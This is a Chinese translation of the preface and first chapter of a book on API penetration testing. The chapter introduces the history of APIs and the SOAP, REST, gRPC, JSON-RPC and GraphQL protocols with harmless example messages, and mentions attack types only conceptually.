API-渗透测试指南-全-
API 渗透测试指南(全)
原文:
annas-archive.org/md5/17aaacc96a6787faa93f98ca311ef149译者:飞龙
前言
欢迎来到渗透测试 API! 应用程序接口(APIs)在我们现代生活中无处不在。几乎不可能使用一个不与其 API 进行交互的网页、嵌入式或移动应用程序。了解其弱点是进行成功入侵测试的基础。这就是本书的核心内容。
你将学习到 API 的各个方面,从简要介绍它们及其历史开始,经过基本和高级攻击,探索不同的代码片段和技术,最后给出关于如何阻止或避免此类攻击的安全建议。因此,本书分为以下几个主要部分:
-
识别和扫描 API 目标。
-
有效攻击 API。
-
学习如何保护 API 免受入侵的建议。
我将带领你完成进行专业 API 渗透测试所必需的所有步骤。这是基于以下几点:
-
作为一名应用程序安全工程师,我积累了多年的经验,负责在批准应用程序公开发布之前审查其各项安全问题。
-
我之前和现在的专业经历集中在软件开发,特别是安全软件方面,例如密钥和密令管理以及身份管理。
最近的新闻突显了 API 安全性日益重要。2022 年底,一家大型社交媒体平台因其 API 漏洞而发生数据泄露,暴露了数百万用户记录。同样,2023 年初,一家金融服务公司也遭遇了重大的安全事件,黑客利用 API 漏洞窃取了敏感的客户数据。这些事件突显了严格进行 API 渗透测试的重要性,以便在恶意攻击者利用漏洞之前,发现并减轻潜在风险。
通过全面理解和解决 API 安全问题,组织可以显著增强抵御潜在网络威胁的能力。你即将开始这段迷人的旅程。
本书适合的人群
尽管渗透测试 API 对于初学者和新手爱好者有一定帮助,但对于中级到高级的渗透测试人员尤其有价值,因为你最好已经具备了关于网络安全的基本概念,如枚举、发现和渗透测试。对一些高级编程语言,如 Python 和 Golang,有一定了解也是推荐的。
话虽如此,本书适合安全工程师、分析师、应用程序拥有者、开发人员、渗透测试人员以及所有希望深入了解 API 和成功测试其健壮性方式的爱好者。
本书涵盖的内容
第一章,理解 API 及其安全格局,介绍了 API 及其组成部分,它们在当代应用程序中的作用,以及用户通常如何与它们互动。理解 API 的格局将帮助你设想潜在的攻击路径。
第二章,设置渗透测试环境,指导你进行各种渗透测试实验室组件的准备和设置。在此过程中需要做出一些重要决定,例如选择工具和框架、开发环境以及一些初步测试。如果你是渗透测试领域的新手,你将有机会了解一些相关术语和重要软件。
第三章,API 侦察与信息收集,是你开始接触 API 的第一章。在有效攻击 API 端点之前,最重要的是列举并识别出有哪些资源可以利用。某些渗透测试完全是黑盒子测试,意味着你完全无法了解 API 端点的工作情况。
第四章,身份验证与授权测试,涵盖了与应用程序中的身份验证(AuthN)和授权(AuthZ)相关的内容,重点介绍了 API 在这方面的工作方式。然后,在了解应用程序如何控制用户访问之后,你将学习如何探索并最终绕过这些控制。
第五章,注入攻击与验证测试,教你如何对 API 进行 SQL 和 NoSQL 注入攻击测试,以及如何通过正确验证用户输入来避免这些攻击。
第六章,错误处理与异常测试,解释了应用程序并不总是按照其创建者设计的方式运行。有时会发生意外的行为,这可能是由用户自己或某些内部错误引起的。你将学习糟糕的异常和错误处理如何暴露出有价值的信息,并可能开启可利用的漏洞。
第七章,拒绝服务与 速率限制测试,讨论了通过拒绝服务(DoS)及其“分布式”变体进行渗透测试。这些是互联网上发生的一些最大规模的攻击。你将理解如何使用 DoS 测试目标并识别速率限制机制,以及如何绕过它们。
第八章,数据暴露与敏感信息泄露,介绍了根据 OWASP 十大 API 安全风险之一的最危险威胁。你将学习如何识别数据暴露和泄露,并利用它们对 API 进行渗透测试。
第九章,API 滥用与业务逻辑测试,解释了了解 API 实现背后的逻辑对于滥用它们是非常有用的。你将了解到有一些策略可以利用它们进行渗透测试,以及避免成为此类威胁的受害者的方法。
第十章,API 的安全编码实践,讨论了每个软件开发人员,无论他们是否在创建 API,都应该了解的主题。你将学习到已建立的安全编码方法和标准,以及一些避免本书中讨论的许多攻击的建议。
要充分利用本书
你需要知道如何使用虚拟机,最好使用 Linux 客户机。
| 本书中涉及的软件/硬件 | 操作系统要求 |
|---|---|
| VirtualBox | Linux |
下载示例代码文件
你可以从 GitHub 下载本书的示例代码文件,链接为 github.com/PacktPublishing/Pentesting-APIs。如果代码有更新,它将被同步到 GitHub 仓库中。
我们的丰富书籍和视频目录中也有其他代码包,访问 github.com/PacktPublishing/ 查看!
使用的约定
本书中使用了多种文本约定。
文本中的代码:表示文本中的代码单词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟网址、用户输入和 Twitter 句柄。举个例子:“在头部内部,可以声明一些属性,例如env:role、env:mustUnderstand和env:relay。”
代码块设置如下:
<env:Header>
<BA:BlockA
env:role="http://mysoap.com/role/A" env:mustUnderstand="true">
...
</BA:BlockA>
<BB:BlockB
env:role="http://mysoap.com/role/B" env:relay="true">
...
</BB:BlockB>
</env:Header>
当我们希望引起你注意代码块中的特定部分时,相关的行或项会以粗体显示:
{"jsonrpc": "2.0", "method": "IsStudent", "params": [100], "id": 1}
{"jsonrpc": "2.0", "result": true, "id": 1}
{"jsonrpc": "2.0", "method": "IsStudent", "params": ["ABC"], "id": 2}
{"jsonrpc": "2.0", "error": {"code": -1, "message": "Invalid enrollment id format"}, "id": 2}
任何命令行输入或输出都以如下方式书写:
$ sudo apt update && sudo apt install curl
粗体:表示新术语、重要单词或你在屏幕上看到的单词。例如,菜单或对话框中的单词以粗体显示。举个例子:“选择下一步,你将被询问希望将其安装在哪个目录。”
提示或重要说明
显示方式如下。
保持联系
我们始终欢迎读者的反馈。
一般反馈:如果你对本书的任何部分有疑问,请通过电子邮件联系我们,邮箱地址是 customercare@packtpub.com,并在邮件主题中注明书名。
勘误:虽然我们已尽力确保内容的准确性,但错误有时难以避免。如果你在本书中发现错误,欢迎向我们报告。请访问 www.packtpub.com/support/errata 并填写表格。
盗版:如果您在互联网上发现任何形式的非法复制作品,我们将非常感激您提供其位置地址或网站名称。请通过版权@packt.com 与我们联系并提供链接。
如果您有兴趣成为作者:如果您在某个领域有专长,并且有意写书或为书籍做贡献,请访问authors.packtpub.com。
分享您的想法
阅读完渗透测试 API后,我们很想听听您的想法!请点击这里直接访问本书的亚马逊评论页面并分享您的反馈。
您的评论对我们和技术社区至关重要,它将帮助我们确保提供优质的内容。
下载本书的免费 PDF 副本
感谢您购买本书!
喜欢随时随地阅读,但又无法将纸质书带到处走吗?
您的电子书购买与所选设备不兼容吗?
别担心,现在购买每本 Packt 书籍时,您都会免费获得该书的 DRM-free PDF 版本。
随时随地在任何设备上阅读。在您最喜爱的技术书籍中直接搜索、复制并粘贴代码到您的应用程序中。
好处还不止这些,您可以独家获取折扣、新闻简报和每天发送到邮箱的精彩免费内容
按照以下简单步骤即可获得这些福利:
- 扫描二维码或访问以下链接

packt.link/free-ebook/978-1-83763-316-6
-
提交您的购买证明
-
就是这样!我们会直接将您的免费 PDF 和其他福利发送到您的邮箱。
第一部分:API 安全简介
本部分将带您进入 API 的世界,了解它们的历史,认识一些 API 类型,并理解保护 API 的重要性。您还将学习一些可能影响 API 的常见漏洞。最后,您将学习如何准备渗透测试实验室环境,获得工具建议并访问本书的代码仓库。
本部分包含以下章节:
-
第一章,了解 API 及其安全环境
-
第二章,设置渗透测试环境
第一章:理解 API 及其安全性
应用程序编程接口(APIs)几乎无处不在,尽管它们的创建早于全球网络的出现。由于 API 在我们日常生活中的重要性,并且为了确保设备和系统之间的可持续通信,建议您从理解 API 是什么,以及它们可能存在的安全问题开始阅读本书。
在本章中,您将了解 API 的基本概念、它们的一些历史以及一些著名的 API 示例。您将了解到 API 的主要组件,以及它们如何相互作用以实现魔力的运作。
您还将了解 API 的不同呈现方式,以及它们的类型和部署中涉及的协议。根据您愿意创建的软件,您会发现设计一个更具体的 API 类型可能更合适。
本章还涵盖了 API 安全性的重要性,讨论了其设计和部署阶段的前提条件。到本章结束时,您将了解一些常见漏洞是如何从安全性差的 API 中产生的,以及它们可能对您的环境造成的影响。
本章将涵盖以下主要主题:
-
什么是 API?
-
API 类型和协议
-
API 安全性的重要性
-
常见的 API 漏洞
什么是 API?
有几个定义。例如,Red Hat 表示,API 是“一套用于构建和集成 应用程序软件的定义和协议。”而Amazon Web Services(AWS)则表示,“API 是使两个软件组件能够使用一套定义和协议相互通信的机制。”当然,API 不仅限于两个软件组件,但这两个定义都包含了这一部分:“定义和协议”。让我们通过与类比世界的比较来创造我们自己的定义。
API 是两个不同部分(代码)之间的桥梁(通信路径),无论它们是否属于同一个城市(同一程序)。通过遵循一套预先建立的交通规则(协议)和约定(定义),车辆(请求和响应)可以在两侧自由流动。有时,API 可能会有速度控制(节流装置),根据需要执行。
就像所有通信方式一样,首先需要建立定义。这条规则不仅限于数字世界。如果你不知道什么是“销售”或“汽车”是一种交通工具,我不能要求你卖给我一辆车。协议同样至关重要。除非你是赠送产品,否则销售始于我支付你我想要的产品的费用,而你将产品交给我。如果需要,还包括找零。
在 API 的定义中,涉及到在通信方之间哪些类型和长度的数据是可接受和允许的。例如,当接收方期望接收一个数字时,请求方不能将数据作为字符串发送。负数也可能对编写不良的 API 造成额外的挑战。在处理数据长度时,适用最小值,尤其是最大值。稍后你将了解,如何阻止大于 API 能处理的块大小的数据传输是非常重要的。
协议是 API 的第二个组成部分。作为网络领域的对应物,它们负责确保独立编写的软件能够以有效的方式进行通信。即使你主要是因为 Web 相关的 API 及其安全漏洞而阅读本书,我也需要告诉你,甚至在你的计算机内部,API 也在操作系统(OS)与 Wi-Fi 卡之间工作,并具有类似于更著名的 Web API 的定义和协议。如果你熟悉传输控制协议/互联网协议(TCP/IP)栈,那么以下的图对你来说并不陌生。TCP/IP 上的通信之所以能够发生,是因为每个小矩形都有自己实现的低层协议,这样就能让同一个网络接口卡(NIC)在不同的操作系统之间使用,并且这些不同的操作系统可以相互通信:

图 1.1 – 使用 TCP/IP 进行通信
每个 API 都应该有良好的文档,这样任何想使用它的人就不必向其创建者或维护者请求信息。你能想象如果每次新产品发布时,国防高级研究计划局(DARPA)的科学家们收到来自网络接口卡制造商的关于如何开发数据链路层、应该使用哪些数据结构、以及应该考虑哪些数据类型和大小的询问,会是一场怎样的灾难吗?
在编写 API 文档时,至少需要明确数据类型和采用的协议的定义。完善的 API 文档通常还会提供使用示例,以及在发生错误时可能产生的异常,比如数据处理错误或意外行为。
API 的简史
本书中你将阅读大量关于 Web API 的内容。然而,正如你在 TCP/IP 示例中看到的,API 并不是随着 Web 一起诞生的。这个概念的诞生要追溯到几十年前,1951 年,当时三位英国计算机科学家 Maurice Wilkes、David Wheeler 和 Stanley Gill 提出了这一概念,他们当时正在构建 电子延迟储存自动计算机(EDSAC),这是最早的计算机之一。他们的著作《电子数字计算机程序的准备》主要解释了他们所构建的库以及其子程序(如果你需要开发一个程序以在 EDSAC 上运行)。从书名可以看出,书中重点解释了如何使用这台计算机。这本书成为我们有记录的第一本 API 文档。
进入 1960 和 70 年代,计算机的使用逐渐增长,得益于电气和电子电路的改进。计算机的体积也开始缩小,尽管如此,它们仍然占据着一个房间的大小。此时,API 的使用开始与开发者不必担心显示器或其他外设如何工作的需求相关联。我们处于大型主机时代,而新方式与计算机交互的出现,例如终端和打印机,给程序开发者带来了额外的挑战。1975 年,英国数学家和计算机科学家 Cristopher Date 和 Edgar Codd 发表了一篇题为《关系与网络方法:应用程序编程接口的比较》的论文。在这篇论文中,API 被提出应用于数据库,至今这一概念仍在使用。
进入 1980 年代,我们开始看到消费网络的商业探索。1984 年,CompoServe 推出的在线购物服务 电子商城 向其订阅用户提供。用户可以通过该公司的 消费者信息服务 网络从其他商家购买产品。你可能会问,这其中哪里有 API。随着计算机网络的逐步使用,开发者需要让他们的代码更加复杂,并且对远程计算机上存储的代码和库的访问要求开始出现。正是 1981 年,美国计算机科学家 Bruce Nelson 首次提出了 远程过程调用(RPCs)的概念。这个概念非常简单,就是客户端向网络服务器发送请求,服务器处理该请求(执行某些计算)并将结果返回给客户端。因此,RPC 就是我们所知道的 消息传递 机制,通过某个通道(通常是计算机网络)实现不同元素之间通过消息交换的通信。
在 1990 年代,也就是在 API 的概念首次提出超过 40 年后,互联网在全球范围内普及开来(在美国,这一变化发生在近十年前)。互联网此前仅限于研究机构和政府机关使用,而商业化的网络使用在那时变得完全可行。这进一步推动了 API 的采用,它们成为了程序之间交换信息的事实标准。新的网站不断涌现,新的消费产品和服务通过互联网得以商业化,软件之间需要通过标准来进行沟通变得愈加明确。由 Sun Microsystems(现为 Oracle Inc.一部分)创建的编程语言 Java 在这一过程中起到了至关重要的作用。1984 年,Sun Microsystems 的第 21 号员工 John Gage 提出了“网络就是计算机”这一观点。用他自己的话说,“我们将关于互联世界的愿景建立在开放和共享的标准之上。”十一年后,另一位 Sun Microsystems 的员工 James Gosling 创建了 Java 编程语言,随后发展为 Java 2,并成为了重要 API 的基石,这些 API 作为Java 2 企业版(J2EE,现在的Jakarta EE)和Java 2 微型版(J2ME)的一部分发布。
到了 2000 年代,互联网基本上已经巩固下来。不断增加的加入网络的公司数量,以及大量开发者创造的新网页解决方案,要求一种快速有效的方式来建立客户端(当时大多是浏览器)和网页服务器之间的通信路径。2000 年,Roy Fielding 在其博士论文《网络基础软件架构的建筑风格与设计》中提出了一种结构化的方法来允许客户端和服务器在互联网上交换信息。Roy 提出了表现层状态转移(REST),它成为了全球最受欢迎的 API 协议之一。这个年代还见证了云计算的爆炸式增长,无论是私有云还是公有云,大多数实现了 REST。2004 年,Web 2.0 的诞生也标志着互联网使用方式的变化(更加注重以用户为中心),同时像 Facebook、X(前身为 Twitter)、Reddit 等应用也在这一时期诞生。
十年后,在 2010 年代,网络协议更为发展。那是社交媒体和应用程序的时代,每分钟数百万个请求。举个例子,2013 年,每分钟互联网流量中,包括其他流量,461,805 个 Facebook 登录,38,000 张 Instagram 照片上传和 347,000 条推文发送。这也是容器和基于微服务的应用程序迎来最广泛采用的十年。Kubernetes 的发布,作为开源容器编排工具,扩大了互联网动态应用的可能性。正是在 2010 年代,Web 3.0这一术语首次被提出,主要聚焦于区块链技术。API 成为了公司为公众创建和交付产品的基础。
正如 Tears for Fears 1985 年热曲Head Over Heels所说,时间过得“真是快得令人惊讶”。时光飞逝,我们进入了 2020 年代。如今,应用程序不断更新,但我们现在有了更加分散运行的系统。边缘计算和物联网 (IoT) 等概念的出现增加了整个场景的复杂性,并要求 API 进化以适应这些变化。Web 3.0 实际上是在 2021 年才被纳入。现在,我们正在设计和开发围绕 API 的应用程序,而不是像技术早期那样反过来。
API 类型和协议
回到我们的网络世界,这里有一些显著的 API 协议:
-
简单对象访问协议 (SOAP):它允许访问对象,通过 HTTP 保持通信,并基于可扩展标记语言 (XML) 。它简单且提供了一个很好的方式来建立 Web 应用程序之间的通信,因为它是操作系统独立的,且不依赖于技术和编程语言。
-
REST:也许是现在使用的最著名的 Web API 协议,REST 是一种设计 Web 服务的架构风格。因此,遵循这种风格的服务被称为RESTful。REST 操作的预定义集合是无状态的,服务可以访问构造来操作数据的文本表示形式。
-
谷歌远程过程调用 (gRPC):由搜索引擎背后的公司开发,它是另一种基于 HTTP 的架构,恰好是开源的。它应用缓冲区以允许数据在对之间传输。
-
JavaScript 对象表示法 – 远程过程调用 (JSON-RPC):就像 REST 一样,JSON-RPC 也是无状态的,使用对象(像 SOAP 一样),并且在需要更高性能时可以替代 REST。
-
图形查询语言 (GraphQL):由 Meta(前身为 Facebook)创建,旨在成为一种数据库查询语言。GraphQL 是开源的,通过使用 JSON 等简单数据结构,允许复杂的响应。
让我们更深入地分析每个协议。
SOAP
由于 SOAP 是基于对象的,为了简化,通信中的两个对等方必须就他们交换信息时使用的元素达成一致。SOAP 消息由常规的 XML 文件实现,至少包含以下元素:
-
正文:它包含关于调用和响应的信息。
-
信封:这用于将文件标识为 SOAP 消息。
-
故障:它携带有关错误和状态的信息。
-
头部:顾名思义,包含头部信息。
尽管 SOAP 消息必须使用 XML 作为结构,但此类文档不能包含处理指令或文档类型定义(DTDs)。XML 文档的属性是在 DTD 内定义的。SOAP 1.1 规范有三部分:
-
信封,定义了消息的内容、应该处理它的结构,以及是否是强制性的或可选的规格。
-
编码规则,定义了序列化数据类型时使用的机制。
-
RPC表示法,用于指示如何表示远程调用及其响应。
SOAP 1.2 规范只有两个部分:
-
消息信封。
-
数据模型和协议绑定。
从组织结构的角度来看,SOAP 消息由命名空间组成。根元素是 SOAP 信封。Header、Body和最终的Fault元素都包含在其中。所有 SOAP 信封必须指定http://www.w3.org/2003/05/soap-envelope/,encodingStyle属性可能出现在其中,以指示消息内部使用的编码模式。信封声明可能如下所示:
<soap:Envelope
soap:encodingStyle="http://www.w3.org/2003/05/soap-encoding">
SOAP 消息中的头部是可选的,但如果存在,它必须位于消息的开始位置,即在Envelope声明之后。其目的是存储特定于应用程序的数据,例如支付信息或env:role、env:mustUnderstand和env:relay。第一个用于定义与头部块关联的角色。第二个是一个布尔变量,当其值为true时,表示消息的接收者必须处理该头部。如果在处理头部时出现问题,则会生成一个故障元素。最后,env:relay组件仅由中继(中间节点)检查或处理。它是 SOAP 1.2 规范中的新特性。一个包含两个块的示例头部可能如下所示(标签被分成多行以便于阅读):
<env:Header>
<BA:BlockA
env:role="http://mysoap.com/role/A" env:mustUnderstand="true">
...
</BA:BlockA>
<BB:BlockB
env:role="http://mysoap.com/role/B" env:relay="true">
...
</BB:BlockB>
</env:Header>
在这个示例中,A 块部分有一个mustUnderstand子句,其值为true,意味着接收者必须处理它。B 块仅供中间节点解析,因为env:relay属性被设置为true。这两个块都有角色规范。
XML 协议(XMLP)是另一种基于 XML 的消息交换协议,直到 2009 年才停止使用,SOAP 规范 1.2 发布后的两年。XMLP 提出了一个抽象模型,而 SOAP 详细描述了实现该模型的基本原语。SOAP 和 XMLP 都具有绑定的概念,用于确定 XMLP 和/或 SOAP 应连接的其他协议。SOAP 最流行的绑定之一(如果不是最流行的话)就是 HTTP。这意味着 SOAP 消息可以有效地用于通过 HTTP 实现对等通信。
REST
预定义的 REST 操作集是无状态的(与 XMLP 相同),并且服务可以访问构造体来操作数据的文本表示。尽管 SOAP 和 XMLP 具有绑定功能,可以将它们连接到其他应用层协议,甚至传输层(TCP 或 UDP),但 REST 更多与 HTTP 相关(同样是无状态的),因此,操作这些构造体减少了开发人员和系统管理员学习 HTTP 术语的难度。使用 HTTP 时,REST 可以使用协议的所有方法:CONNECT、DELETE、GET、HEAD、OPTIONS、PATCH、POST、PUT 和 TRACE。REST 用于定义 HTTP 1.1 版本的规范。
可能存在中介节点,在 REST 的情况下,这些节点表现为网关,如缓存或代理服务器,甚至是防火墙。这些节点可能为架构提供可扩展性,因为消息内部不保存状态,而且可以在响应中插入一些显式的缓存信息。根据 Roy Fielding 的规范,有六个约束条件决定一个系统是否可以被归类为 RESTful,具体如下:
-
客户端-服务器:尽管可能存在中介节点,但通信通常只发生在两个对等体之间。
-
无状态:RESTful 消息中不存储状态。会话状态必须由客户端管理。由于状态不被控制,这使得架构具备可扩展性。
-
缓存:中介节点可以充当缓存服务器。服务器指向可以缓存的内容,客户端会遵循这一指引。
-
统一接口:通过使用通用性,架构变得更简单,从而提高了交互的可见性。
-
分层系统:通过采用层级结构,每一层仅能访问与其直接交互的其他层,这样可以实现对遗留服务的封装。
-
按需代码:通过从服务器下载和执行额外的代码,可以扩展客户端功能,从而简化客户端设计。
任何基于 REST 的设计的核心是POST,读取操作对应GET,更新操作对应PUT,删除操作对应DELETE(HTTP 动词通常在技术文献中用大写字母表示)。
尽管 REST 和 SOAP 有许多相似之处,但它们在如何进行远程调用(RPC)方面存在一些显著的差异。另一方面,在 REST 中,客户端定位服务器中的资源,并选择对其进行什么操作(修改、删除或获取信息——分别对应UPDATE、DELETE和GET HTTP 方法)。在 SOAP 中,客户端不会直接与资源进行交互。相反,客户端需要调用一个服务,服务再对相关的对象和资源执行所需的操作。
为了绕过这种工作方式,SOAP 利用了一些框架,允许它为客户端提供额外的功能。其中一个框架是getTermRequest,例如string类型,WSDL 在使用 SOAP 进行 Web 服务时提供了更进一步的能力。
我们需要理解为什么 REST 几乎完全取代了 SOAP,成为现代 Web API 领域的主流。比较 REST 和 SOAP 时,支持 REST 的一个关键因素是 SOAP 基于 XML。XML 语言能够生成相当复杂且冗长的文档,这些文档显然需要发送方正确构造,并由接收方解析。解析 XML 文档(或结构)意味着读取它并将其元素转换为一种数据结构,之后应用程序可以进一步处理。最著名的解析器之一叫做文档对象模型(DOM)。使用 DOM 的一个缺点是它消耗大量内存,可能是文档中原始描述的内存大小的几倍。
在计算机科学中,数据序列化是将数据结构中存在的抽象对象(或元素)转换成可以存储在计算机上或在计算机之间传输的格式的过程。反序列化是与此相反的操作。随着文档中使用嵌套,数据序列化变得更加复杂。XML 允许元素嵌套。在 XML 规范中没有正式的限制,这基本上意味着元素可以无限制地嵌套。复杂性可能带来安全威胁。通过解析 XML 文档,应用程序可以将其元素存储在结构化查询语言(SQL)数据库中,将其转换为表、行和列,甚至作为 NoSQL 数据库中的键值(KV)对。当从未知或不可信的源接受序列化对象时,这可能会给应用程序带来不必要的风险。
开放 Web 应用程序安全项目(OWASP)是一个全球性组织,定期发布网络安全最佳实践,包括安全的代码开发,并维护一些著名的安全项目。其中之一是Top Ten,它列出了对 Web 应用程序最具威胁性的十大安全问题。最新版本发布于 2021 年。数据反序列化不安全属于A03-2021 注入类别,这意味着它被认为是应用程序第三大最危险的威胁。
在同一项目中,XML 外部实体(XXE)攻击被归类为对网络安全构成的第五大危险威胁,属于2021 年 A05 安全配置错误组。如果 XML 文档使用了 DTD,它可能会被 XML 解析器错误地解读。DTD 是指定 XML 文档结构的第一种方式,它还可以用来确定 XML 数据应如何存储。
使用 DTD 时,一个易受攻击的 XML 解析器可能会成为拒绝服务(DoS)攻击的受害者,这种攻击被称为XML 炸弹(也称为十亿笑话攻击)。通过指定十个 DTD 实体,每个后续实体是前一个实体的十倍引用,这将导致第一个实体出现十亿次。如前所述,为了在内存中容纳所有实体,XML 解析器需要分配大量内存,最终会崩溃,导致应用程序无法使用。
另一方面,REST API 主要基于 JSON 数据结构。这些是更简单的文档,作为映射组织,利用键值对(KV 对)的概念。JSON 文件不需要特定的解析器;它们支持不同类型的数据,如字符串、布尔值、数字、数组和对象。然而,与 XML 文件相比,JSON 文件通常较小。JSON 也不支持注释。因此,JSON 结构更紧凑,也更容易编写和处理。下面的代码块包含一个 JSON 结构的示例:
{
"config_file": "apache.conf",
"number_of_replicas": 2, "active": true,
"host_names": [
"server1.domain", "server2.domain"
]
}
gRPC
gRPC 的核心思想是让你作为开发者,调用一个远程方法(位于你同事的电脑上或世界另一端),就像它在你自己的代码库中一样。换句话说,客户端(在规范中称为存根)调用一个函数,带有预期的参数,但该函数甚至不在它的代码中,而是在其他地方实现的。为了解决这个问题,你需要遵循 gRPC 调用的服务器端所定义的规范。这些定义包括可接受的数据类型以及方法调用结束后返回的内容。所有的工作都基于创建一个服务,通过这些方法向客户端提供数据。
gRPC 的另一个有趣的特点是它对现代编程语言的支持,这使得你可以在团队中分配开发任务,例如,让 Go 程序员负责服务器,而 Python 程序员则专注于构建客户端。由于该协议是由 Google 创建的,因此 gRPC 服务器也可以托管在公司的公共云上。
gRPC 与之前讨论的其他两种协议之间有一个主要的区别:它使用 protoc 协议缓冲编译器,数据类在代码中创建。数据结构存储在 .proto 扩展名的文本文件中。在 .proto 文件中,你创建一个服务并定义在客户端和服务器之间流动的消息。当你运行 protoc 时,它会创建或更新相应的类。以下代码块展示了一个这样的文件示例:
service MyService {
rpc ProcessFile (FileRequest) returns (ExitCode);
} // Comments are supported.
message FileRequest {
string FileName = 1;
}
message ExitCode {
int code = 1;
}
在前面的代码中,你正在创建一个名为ProcessFile的服务,该服务由应用程序的客户端在一个名为FileRequest的方法中调用,该方法返回ExitCode作为输出。这个方法的实现位于应用程序的服务器部分。显然,根据 gRPC 的定义,客户端和服务器部分可以位于不同的机器上。服务可以有四种不同的类型:
-
一元请求:客户端发送一个请求并等待一个响应。
-
服务器流式传输:客户端发送一个请求,响应作为消息流返回。消息按顺序发送。
-
客户端流式传输:客户端发送一系列消息并等待来自服务器的单一响应。
-
双向流式传输:两方都发送消息序列。
有趣的是,gRPC 也可以作为 protoc 编译器。在 Python 中,编译器作为 Python 包安装器 (PIP) 模块实现。
JSON-RPC
正如我们介绍的,JSON-RPC 是当性能是一个重要因素时,替代 REST 的一个不错选择。该协议的一个特点是,客户端可以发送请求而无需等待服务器的响应。另一个特点是,客户端可以向服务器发送多个请求,服务器返回的响应顺序与原始请求顺序不同。换句话说,服务器的响应是异步跟随的。
当前的规范是 2.0,并且与之前的 1.0 版本不完全兼容。当客户端和服务器没有运行相同版本的协议时,JSON-RPC 2.0 请求和响应对象可能无法正确理解,尽管容易识别 2.0 规范,因为它使用一个名为 jsonrpc 的键,其值为 2.0。所有 JSON 原始数据类型(字符串、数字、布尔值、null)和结构(数组和对象)都得到完全支持。
在发送请求和接收响应时,必须遵守严格的语法(记得我们之前提到过 API 定义吗?)。以下是请求中可能的成员:
-
jsonrpc:当使用该规范时,它包含2.0。 -
method:包含要调用的远程方法名称的字符串。 -
params:可选成员,结构化(可以是数组或对象),包含传递给调用方法的参数。 -
id:可选成员,可以是字符串、数字或 null,包含请求的标识。
同样,也有响应结构的定义。其成员如下:
-
jsonrpc:与请求中的描述相同。 -
result:仅在方法成功调用时存在;其内容由调用的方法提供。 -
error:仅在方法未成功调用时存在;这是一个对象成员,其内容由调用的方法提供。 -
id:与请求中的描述相同,需要携带与请求中指定的相同值。
错误对象有其自己的结构。你可以很容易地看出 REST 和 JSON-RPC 之间的另一个区别。没有 GET、PUT 或 POST 等 HTTP 方法被调用。相反,提供了一个简单的 JSON 结构。另一个区别在于响应格式。REST 可以使用 JSON 或 XML 格式,而 JSON-RPC 仅支持 JSON。在错误处理方面,你刚刚看到 JSON-RPC 有其自己的 error 成员。REST 提供了 HTTP 状态码,例如 200(当提供的数字注册 id 是已注册学生时,IsStudent 会返回 True 或 False。第一个请求成功,而第二个请求会产生错误):
{"jsonrpc": "2.0", "method": "IsStudent", "params": [100], "id": 1}
{"jsonrpc": "2.0", "result": true, "id": 1}
{"jsonrpc": "2.0", "method": "IsStudent", "params": ["ABC"], "id": 2}
{"jsonrpc": "2.0", "error": {"code": -1, "message": "Invalid enrollment id format"}, "id": 2}
GraphQL
正如其名所示,GraphQL 是一种用于查询由 API 提供的数据的语言。等等!这在协议小节里,语言怎么在这里?协议的一般定义可以是“一组规则,必须正确遵循才能成功建立两个或更多对等方之间的通信。” GraphQL 也实现了这一点。
它由 Meta(当时是 Facebook)在 2012 年创建,并于 2015 年作为开源项目发布。后来,2018 年,它开始由 Linux 基金会托管,并由 GraphQL 基金会接管了所有权。一个著名的特点是,GraphQL 只暴露一个端点,方便开发者请求和接收所需的数据。其他 API 协议可能最终会暴露多个端点,以满足提供不同类型数据或数据分布在多个数据库或系统中的需求。
数据格式也类似于 JSON,只是有一些微小的变化。GraphQL 和 REST 之间有着巨大的差异。与其发出请求、获取结果,并在分析结果后调整请求然后提交新请求,GraphQL 允许应用程序交互式地更改请求,直到接收到令人满意的结果。这得到了WebSockets的支持,这是一种允许 HTTP 客户端与服务器之间进行持续双向通信的技术,双方都可以发送和接收数据,任何一方都可以关闭连接。
由于任何一方,客户端或服务器,随时都可以互相传输数据,WebSockets 也非常适合用于发送通知,尤其是从服务器到客户端,当连接仍然保持开放时。这个协议的一个应用场景是货币兑换网站。客户端只需查询一次服务器获取汇率,每当汇率变化时,服务器就会通知客户端新的汇率。GraphQL 也支持查询参数。你可以基于某个标准过滤结果,或者请求服务器进行数据转换或计算,所有操作都在同一个查询中完成。接下来的代码块展示了一个请求的示例:
{
student(id: 100) {
name
grade(average: True)
}
}
上面的代码查询服务器获取一个 id 为 100 的学生。客户端想要学生的姓名和他们的成绩,但只需要平均成绩(通过课程模块计算的平均分),而不是具体成绩(average: True)。一个可能的答案在下面的代码块中。请注意,GraphQL 的响应遵循与请求相同的结构:
{
"data": {
"student" {
"name": "Mauricio Harley"
"grade": 85.2128
}
}
}
GraphQL 的数据结构有一个模式。这样,在设计查询时,开发人员可以提前知道响应中可能返回的数据类型。值得注意的是,考虑到模式已经正确设置,一个查询可能只需少量的努力就能生成一系列项目作为响应。
API 安全性的重要性
即使是你在这里看到的简单代码和模板示例,一个细心的读者也会意识到,从这些简单的数据结构和查询中可能会产生潜在的安全漏洞,因为这些简单的结构和查询可能会用少量的代码行造成大量的资源消耗。安全软件开发并不是一个新的流行词,但随着新威胁和攻击的出现,它逐渐获得了更多的关注。
一些公司更倾向于将更多的时间和资金投入到应急策略中,例如实施一个与业务连续性计划相绑定的事故响应团队。尽管这一点非常重要,我们知道这些团队通常是在事情发生之后才投入使用。他们只能进行损害控制,尽量减少某些入侵对公司资产的影响。其他一些公司则认为他们的系统是安全的,仅仅因为它们运行在公共云上。众所周知,公共云服务商与客户共享安全责任,这种方式被称为共享责任模型:

图 1.2 – 公共云共享责任模型
与任何正在开发的重大软件一样,API 也有它们的生命周期,并且它们属于一个管道。普遍的看法是,安全性应该尽可能向左迁移,这意味着应该尽早考虑潜在缺陷的安全问题,而不是等到后期再考虑。你需要从 API 设计开始就考虑安全性。然而,对于预算有限或缺乏适当技术支持的公司来说,这可能并不容易。也就是说,并非所有公司在早期阶段都会采取安全对策,因为它们根本做不到。
在开发 API 时,你应该从选择你的 API 将使用的协议开始。考虑这里讨论过的协议,并选择一个你认为能满足应用程序需求和用户期望的协议。查找协议的缺点,并验证是否可以让一个公共云服务商为你实现 API。所有主要的云服务商都有 API 管理或网关服务。它们通常实施安全最佳实践,并与 Web 防火墙集成。
